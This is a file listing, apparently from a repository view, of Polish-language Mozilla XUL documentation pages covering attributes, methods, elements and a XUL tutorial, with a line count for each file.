-rw-r--r--files/pl/mozilla/tech/xul/atrybut/minresultsforpopup/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/minwidth/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/mode/index.html14
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/modifiers/index.html25
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/multiline/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/name/index.html14
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/next/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/noautohide/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/nomatch/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/object/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/observes/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onbeforeaccept/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onbookmarkgroup/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onchange/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onclosetab/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/oncommand/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/oncommandupdate/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onerror/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onerrorcommand/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/oninput/index.html26
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onload/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onnewtab/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onpaneload/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onpopuphidden/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onpopuphiding/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onpopupshowing/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onpopupshown/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onsearchcomplete/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/onselect/index.html10
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/ontextcommand/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/ontextentered/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/ontextreverted/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/open/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/orient/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/pack/index.html26
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/pageid/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/pageincrement/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/pagestep/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/phase/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/pickertooltiptext/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/popup.left/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/popup.top/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/popup/index.html26
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/predicate/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/preference.name/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/preference.type/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/preference/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/prefpane.selected/index.html28
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/prefpane.src/index.html24
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/progressmeter.mode/index.html19
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/progressmeter.value/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/properties/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/readonly/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/ref/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/removeelement/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/resizeafter/index.html32
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/resizebefore/index.html25
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/resizer.dir/index.html26
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/rows/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/screenx/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/screeny/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/script.src/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/script.type/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/searchsessions/index.html26
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/selected/index.html29
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/selectedindex/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/separator.orient/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/showcommentcolumn/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/size/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/sizemode/index.html26
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/sizetopopup/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/sortactive/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/sortdirection/index.html26
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/sortresource/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/sortresource2/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/spellcheck/index.html25
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/src/index.html35
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/state/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/statusbar/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/statustext/index.html39
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/stringbundle.src/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/style/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/subject/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/substate/index.html27
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/tab.selected/index.html28
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/tabindex/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/tabs.onselect/index.html28
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/template.container/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/textbox.onchange/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/textbox.type/index.html31
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/textbox.value/index.html28
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/textnode.value/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/timepicker.value/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/title/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/toolbar.mode/index.html27
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/toolbarbutton.type/index.html32
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/toolbarname/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/tooltip/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/tooltiptextnew/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/top/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/tree.onselect/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/treecell.mode/index.html26
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/treecell.src/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/treecol.src/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/treecol.type/index.html50
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/treeitem.label/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/type/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/useraction/index.html26
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/validate/index.html25
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/value/index.html30
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/wait-cursor/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/width/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/windowtype/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/atrybut/wrap/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/bbox/index.html91
-rw-r--r--files/pl/mozilla/tech/xul/binding/index.html114
-rw-r--r--files/pl/mozilla/tech/xul/bindings/index.html103
-rw-r--r--files/pl/mozilla/tech/xul/box/index.html102
-rw-r--r--files/pl/mozilla/tech/xul/broadcaster/index.html94
-rw-r--r--files/pl/mozilla/tech/xul/broadcasterset/index.html92
-rw-r--r--files/pl/mozilla/tech/xul/browser/index.html406
-rw-r--r--files/pl/mozilla/tech/xul/button/index.html457
-rw-r--r--files/pl/mozilla/tech/xul/caption/index.html176
-rw-r--r--files/pl/mozilla/tech/xul/checkbox/index.html272
-rw-r--r--files/pl/mozilla/tech/xul/colorpicker/index.html159
-rw-r--r--files/pl/mozilla/tech/xul/column/index.html94
-rw-r--r--files/pl/mozilla/tech/xul/columns/index.html94
-rw-r--r--files/pl/mozilla/tech/xul/command/index.html79
-rw-r--r--files/pl/mozilla/tech/xul/commandset/index.html61
-rw-r--r--files/pl/mozilla/tech/xul/conditions/index.html93
-rw-r--r--files/pl/mozilla/tech/xul/content/index.html96
-rw-r--r--files/pl/mozilla/tech/xul/datepicker/index.html228
-rw-r--r--files/pl/mozilla/tech/xul/deck/index.html140
-rw-r--r--files/pl/mozilla/tech/xul/description/index.html235
-rw-r--r--files/pl/mozilla/tech/xul/dialog/index.html448
-rw-r--r--files/pl/mozilla/tech/xul/dialogheader/index.html89
-rw-r--r--files/pl/mozilla/tech/xul/dokumentacja_xul/index.html166
-rw-r--r--files/pl/mozilla/tech/xul/editor/index.html213
-rw-r--r--files/pl/mozilla/tech/xul/grid/index.html121
-rw-r--r--files/pl/mozilla/tech/xul/grippy/index.html95
-rw-r--r--files/pl/mozilla/tech/xul/groupbox/index.html116
-rw-r--r--files/pl/mozilla/tech/xul/hbox/index.html100
-rw-r--r--files/pl/mozilla/tech/xul/iframe/index.html182
-rw-r--r--files/pl/mozilla/tech/xul/image/index.html163
-rw-r--r--files/pl/mozilla/tech/xul/index.html31
-rw-r--r--files/pl/mozilla/tech/xul/key/index.html149
-rw-r--r--files/pl/mozilla/tech/xul/keyset/index.html97
-rw-r--r--files/pl/mozilla/tech/xul/kontrolki_xul/index.html145
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/aktualizacja_poleceń/index.html133
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_drzewa/index.html117
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_instalacji/index.html58
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_kreatorów/index.html85
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_menu/index.html121
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_przycisku/index.html84
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodawanie_arkuszy_stylów/index.html165
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodawanie_elementów_html/index.html124
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodawanie_etykiet_i_obrazków/index.html70
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodawanie_funkcji_obsługi_zdarzenia/index.html152
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodawanie_funkcji_obsługi_zdarzeń/index.html133
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodawanie_innych_elementów/index.html87
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodawanie_metod/index.html196
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodawanie_przycisków/index.html82
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dodawanie_własności/index.html165
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/drzewa/index.html117
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/drzewa_i_szablony/index.html138
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dziedziczenie_atrybutu_xbl/index.html115
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/dziedziczenie_xbl/index.html56
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/index.html170
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/interfejsy_xpcom/index.html175
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/kontrola_zaznaczenia_i_aktywacji_elementów/index.html166
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/kontrolki_list/index.html140
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/kontrolki_numeryczne/index.html92
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/kontrolki_wejścia/index.html131
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/lokalizacja/index.html310
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/manipulowanie_listami/index.html146
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/model_pudełkowy/index.html126
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/modyfikacja_domyślnego_motywu/index.html69
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/modyfikowanie_interfejsu_xul/index.html170
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/możliwości_okna/index.html74
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/nadawanie_stylu_drzewa/index.html156
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/nakładki_dla_wielu_pakietów/index.html89
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/obiektowy_model_dokumentu/index.html244
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/obiekty_pudełka/index.html164
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/obiekty_pudełkowe_drzewa/index.html189
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/okna_otwierania_i_zapisywania_plików/index.html95
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/panele_treści/index.html83
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/paski_narzędzi/index.html85
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/paski_postępu/index.html59
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/paski_przewijania/index.html57
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/plik_własności/index.html85
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/pliki_manifestu/index.html176
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/pola_grup/index.html78
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/polecenia/index.html170
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/pozycjonowanie_elementów/index.html266
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/pozycjonowanie_stosu/index.html36
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/proste_paski_menu/index.html163
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/przewijane_menu/index.html50
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/przykłady_xpcom/index.html155
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/pudełko_kart/index.html179
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/rozdzielacze/index.html95
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/rozgłaszacze_oraz_obserwatory/index.html127
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/siatki/index.html169
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/skrypty_instalacyjne/index.html135
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/skróty_klawiaturowe/index.html378
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/stosy_i_pokłady/index.html77
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/struktura_xul/index.html194
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/szablony/index.html201
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/szczegóły_modelu_pudełkowego/index.html105
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/szczegóły_widoku_drzewa/index.html346
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/trwałe_dane/index.html54
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/tworzenie_instalatora/index.html80
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/tworzenie_kreatora/index.html143
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/tworzenie_motywów/index.html171
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/tworzenie_okien_dialogowych/index.html151
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/tworzenie_okna/index.html103
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/url_chrome/index.html74
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/więcej_funkcji_obsługi_zdarzeń/index.html174
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/wprowadzenie/index.html73
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/wprowadzenie_do_rdf/index.html138
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/wprowadzenie_do_xbl/index.html100
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/wyskakujące_menu/index.html196
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/własne_widoki_drzewa/index.html149
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/zaawansowane_reguły/index.html219
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/zastosowanie_odstępów/index.html141
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/zaznaczenie_drzewa/index.html73
-rw-r--r--files/pl/mozilla/tech/xul/kurs_xul/źródła_danych_rdf/index.html299
-rw-r--r--files/pl/mozilla/tech/xul/label/index.html258
-rw-r--r--files/pl/mozilla/tech/xul/listbox/index.html413
-rw-r--r--files/pl/mozilla/tech/xul/listcell/index.html135
-rw-r--r--files/pl/mozilla/tech/xul/listcol/index.html95
-rw-r--r--files/pl/mozilla/tech/xul/listcols/index.html109
-rw-r--r--files/pl/mozilla/tech/xul/listhead/index.html125
-rw-r--r--files/pl/mozilla/tech/xul/listheader/index.html128
-rw-r--r--files/pl/mozilla/tech/xul/listitem/index.html366
-rw-r--r--files/pl/mozilla/tech/xul/member/index.html107
-rw-r--r--files/pl/mozilla/tech/xul/menu/index.html218
-rw-r--r--files/pl/mozilla/tech/xul/menubar/index.html114
-rw-r--r--files/pl/mozilla/tech/xul/menuitem/index.html360
-rw-r--r--files/pl/mozilla/tech/xul/menulist/index.html476
-rw-r--r--files/pl/mozilla/tech/xul/menuseparator/index.html149
-rw-r--r--files/pl/mozilla/tech/xul/metoda/acceptdialog/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/additemtoselection/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/addpane/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/addprogresslistener/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/addsession/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/addtab/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/advance/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/advanceselectedtab/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/appendcustomtoolbar/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/appendgroup/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/appenditem/index.html38
-rw-r--r--files/pl/mozilla/tech/xul/metoda/blur/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/cancel/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/canceldialog/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/centerwindowonscreen/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/checkadjacentelement/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/clearresults/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/clearselection/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/metoda/click/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/close/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/collapsetoolbar/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/decrease/index.html19
-rw-r--r--files/pl/mozilla/tech/xul/metoda/decreasepage/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/docommand/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/ensureelementisvisible/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/ensureindexisvisible/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/ensureselectedelementisvisible/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/metoda/expandtoolbar/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/extra1/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/extra2/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/focus/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getbrowserfordocument/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getbrowserfortab/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getbutton/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getdefaultsession/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/geteditor/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getelementsbyattribute/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/gethtmleditor/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getindexoffirstvisiblerow/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getindexofitem/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getitematindex/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getnextitem/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getnotificationbox/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getnumberofvisiblerows/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getpagebyid/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getpreviousitem/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getresultat/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getresultcount/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getresultvalueat/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getrowcount/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getsearchat/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getsession/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getsessionbyname/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getsessionresultat/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getsessionstatusat/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getsessionvalueat/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/getstring/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/goback/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/gobackgroup/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/metoda/godown/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/goforward/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/goforwardgroup/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/metoda/gohome/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/goto/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/gotoindex/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/goup/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/hasuservalue/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/hidepopup/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/metoda/increase/index.html27
-rw-r--r--files/pl/mozilla/tech/xul/metoda/increasepage/index.html19
-rw-r--r--files/pl/mozilla/tech/xul/metoda/index.html147
-rw-r--r--files/pl/mozilla/tech/xul/metoda/insertitem/index.html27
-rw-r--r--files/pl/mozilla/tech/xul/metoda/insertitemat/index.html50
-rw-r--r--files/pl/mozilla/tech/xul/metoda/invertselection/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/loadonetab/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/loadtabs/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/loaduri/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/loaduriwithflags/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/makeeditable/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/menulist.appenditem/index.html26
-rw-r--r--files/pl/mozilla/tech/xul/metoda/menulist.select/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/moveto/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/movetoalertposition/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/onsearchcomplete/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/ontextentered/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/ontextreverted/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/openwindow/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/preferenceforelement/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/reload/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/reloadalltabs/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/reloadtab/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/reloadwithflags/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/removeallitems/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/removealltabsbut/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/removecurrentnotification/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/removecurrenttab/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/removeitemat/index.html39
-rw-r--r--files/pl/mozilla/tech/xul/metoda/removeitemfromselection/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/removenotification/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/removeprogresslistener/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/removesession/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/replacegroup/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/metoda/reset/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/metoda/rewind/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/scrolltoindex/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/select/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/selectall/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/selectitem/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/selectitemrange/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/metoda/setselectionrange/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/showpane/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/sizeto/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/stop/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/syncsessions/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/metoda/timedselect/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/metoda/toggleitemselection/index.html21
-rw-r--r--files/pl/mozilla/tech/xul/notification/index.html117
-rw-r--r--files/pl/mozilla/tech/xul/notificationbox/index.html150
-rw-r--r--files/pl/mozilla/tech/xul/observes/index.html120
-rw-r--r--files/pl/mozilla/tech/xul/page/index.html92
-rw-r--r--files/pl/mozilla/tech/xul/popup/index.html19
-rw-r--r--files/pl/mozilla/tech/xul/popupset/index.html104
-rw-r--r--files/pl/mozilla/tech/xul/preference/index.html268
-rw-r--r--files/pl/mozilla/tech/xul/preferences/index.html96
-rw-r--r--files/pl/mozilla/tech/xul/prefpane/index.html183
-rw-r--r--files/pl/mozilla/tech/xul/prefwindow/index.html388
-rw-r--r--files/pl/mozilla/tech/xul/progressmeter/index.html170
-rw-r--r--files/pl/mozilla/tech/xul/radio/index.html314
-rw-r--r--files/pl/mozilla/tech/xul/radiogroup/index.html221
-rw-r--r--files/pl/mozilla/tech/xul/resizer/index.html114
-rw-r--r--files/pl/mozilla/tech/xul/richlistbox/index.html250
-rw-r--r--files/pl/mozilla/tech/xul/richlistitem/index.html181
-rw-r--r--files/pl/mozilla/tech/xul/row/index.html96
-rw-r--r--files/pl/mozilla/tech/xul/rows/index.html96
-rw-r--r--files/pl/mozilla/tech/xul/rule/index.html56
-rw-r--r--files/pl/mozilla/tech/xul/scale/index.html223
